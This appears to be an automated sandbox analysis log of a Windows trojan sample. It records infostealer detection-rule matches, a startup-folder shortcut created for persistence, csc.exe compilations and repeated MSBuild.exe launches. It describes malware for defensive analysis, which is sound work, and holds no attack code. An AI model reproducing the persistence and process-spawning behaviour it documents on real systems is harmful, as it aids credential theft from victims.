Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_033C9444	12_2_033C9444
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_033C8F80	12_2_033C8F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_033C4FC4	12_2_033C4FC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_033C2E80	12_2_033C2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02AB07C2	12_2_02AB07C2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0304A3E4 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 03518408 appears 126 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0304A2F8 appears 239 times

Source: 12.2.MSBuild.exe.3040000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@42/26@0/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_032AD938 CoCreateInstance,

12_2_032AD938

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2286193681.0000000005020000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTmpFolder.exe4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2286193681.0000000005020000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamed4fn51mh.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2286645086.0000000005060000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamequfgb3bi.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2280667493.0000000004636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTmpFolder.exe4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2280667493.0000000004636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed4fn51mh.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamequfgb3bi.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2277628998.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2286268146.0000000005040000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTmpFolder.exe4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000000.2190526285.00000000006B8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEpisodP.exe0 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2493374325.00000000050EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamek41v4obh.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2496218504.0000000005B98000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamek41v4obh.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2484413491.000000000151E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.000000000391D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerndl5vbf.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2496333098.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamerndl5vbf.dll4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2493374325.0000000005102000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTmpFolder.exe4 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Binary or memory string: OriginalFilenameEpisodP.exe0 vs SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe

Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1088:120:WilError_03

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCAF7.tmp" "c:\Users\user\AppData\Local\Temp\d4fn51mh\CSC52BE803A40EF4F05BB576EF2B4BA9F7F.TMP"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD18F.tmp" "c:\Users\user\AppData\Local\Temp\qufgb3bi\CSC4B51259C5D5E4D4C80117AD6C11BF1B.TMP"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe "C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\k41v4obh.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1E67.tmp" "c:\Users\user\AppData\Local\Temp\CSCD90A6A8343E34C15A1A9FDD722DFE8F.TMP"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rndl5vbf.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES229D.tmp" "c:\Users\user\AppData\Local\Temp\CSC809BD62C40524E44BCE56D4B5EE49E7A.TMP"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d4fn51mh\d4fn51mh.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qufgb3bi\qufgb3bi.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCAF7.tmp" "c:\Users\user\AppData\Local\Temp\d4fn51mh\CSC52BE803A40EF4F05BB576EF2B4BA9F7F.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD18F.tmp" "c:\Users\user\AppData\Local\Temp\qufgb3bi\CSC4B51259C5D5E4D4C80117AD6C11BF1B.TMP"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\k41v4obh.cmdline"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rndl5vbf.cmdline"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Temp\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1E67.tmp" "c:\Users\user\AppData\Local\Temp\CSCD90A6A8343E34C15A1A9FDD722DFE8F.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES229D.tmp" "c:\Users\user\AppData\Local\Temp\CSC809BD62C40524E44BCE56D4B5EE49E7A.TMP"

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
